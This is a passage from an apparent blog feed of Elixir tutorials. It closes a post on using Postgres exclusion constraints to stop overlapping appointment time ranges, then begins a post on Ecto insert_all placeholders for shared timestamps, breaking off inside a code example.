&lt;p&gt;You might have noticed that we don&apos;t check the order of the &lt;code&gt;from&lt;/code&gt; and &lt;code&gt;until&lt;/code&gt; timestamps in our changeset. So, a user could insert an &lt;code&gt;until&lt;/code&gt; that is earlier than the &lt;code&gt;from&lt;/code&gt;, which is not what we want (but should expect). Preferably, we would check this in our changeset before executing any database action, but in case that we forgot about it, Postgres has got our back. Let&apos;s try to insert a turned-around time range and see what happens:&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Appointments&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;doctor_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;canceled: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:59:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;until: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:00:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;**&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex.Error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; ERROR &lt;span style=&quot;color: #79c0ff;&quot;&gt;22000&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data_exception&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;range&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;lower&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;bound&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;must&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;be&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;less&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;than&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;or&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;equal&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;range&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;upper&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;bound&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Interesting! Postgres checks the order of our two timestamps when it creates the &lt;code&gt;tsrange&lt;/code&gt;. So, without writing any Elixir code, this sanity check for timestamps comes out of the box just by using the exclusion constraint. It is still a good idea to implement the order check in your changeset though.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until then, thanks for reading!&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/prevent-overlapping-schedules-with-ecto-and-postgres"/>
    <id>https://peterullrich.com/prevent-overlapping-schedules-with-ecto-and-postgres</id>
    <title>Prevent overlapping time ranges with Ecto and Postgres</title>
    <updated>2022-10-09T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Before we start talking about using placeholders in Ecto&apos;s &lt;code&gt;insert_all/3&lt;/code&gt;, I need you to understand the following:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;What do you call cheese that is not yours?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;Nacho Cheese
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, with the ceremonial dad joke out of the way, let&apos;s focus on today&apos;s topic: &lt;strong&gt;What are Ecto placeholders and how to use them when inserting a lot of data?&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;Imagine we want to insert a lot of book data into our database. We decide to use &lt;code&gt;Repo.insert_all/3&lt;/code&gt; and write a script like the following:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;books&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;title: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;The Hobbit&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;content: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;In a hole...&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;title: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;The Little Prince&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;content: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Once when I was...&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;now&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;NaiveDateTime&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;NaiveDateTime&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;truncate&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:second&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;books&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;merge&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;inserted_at: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;updated_at: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;now&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert_all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Book&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All looks well here. We knew that &lt;code&gt;Repo.insert_all/3&lt;/code&gt; doesn&apos;t add the autogenerated timestamps and added them ourselves. We run the script and receive an output like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;INSERT&lt;/span&gt; INTO &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;books&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;content&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;inserted_at&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;updated_at&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;VALUES&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;The Hobbit&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;In a hole...&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;N&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-10-02 10:36:34&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;N&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-10-02 10:36:34&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;The Little Prince&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Once when I was...&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;N&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-10-02 10:36:34&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;N&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-10-02 10:36:34&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Okay, this looks good as well. But have a closer look at the values and you might start to wonder: &lt;strong&gt;Why do we send the same timestamps for every entry, twice?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This seems unnecessary, doesn&apos;t it? Especially since all this duplicate data is sent to our database over the network, causing unnecessary traffic, bloating up the payload, and slowing down the entire request.&lt;/p&gt;
&lt;p&gt;If you now ask yourself: &lt;strong&gt;How can we send the timestamps only once?&lt;/strong&gt; I have good news for you. Ecto&apos;s &lt;a href=&quot;https://hexdocs.pm/ecto/Ecto.Repo.html#c:insert_all/3-placeholders&quot;&gt;placeholders&lt;/a&gt; got your back.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;Ecto allows us to specify &lt;code&gt;placeholders&lt;/code&gt; in our &lt;code&gt;Repo.insert_all/3&lt;/code&gt; request for fields that should all receive the same value. In this case, we want to insert the same timestamp in every &lt;code&gt;inserted_at&lt;/code&gt; and &lt;code&gt;updated_at&lt;/code&gt; field. But we want to send the timestamp to the database only once. We can achieve this by moving the timestamp to a placeholder like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;books&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;now&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;NaiveDateTime&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;NaiveDateTime&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;truncate&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:second&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;books&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;merge&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;inserted_at: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:placeholder&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
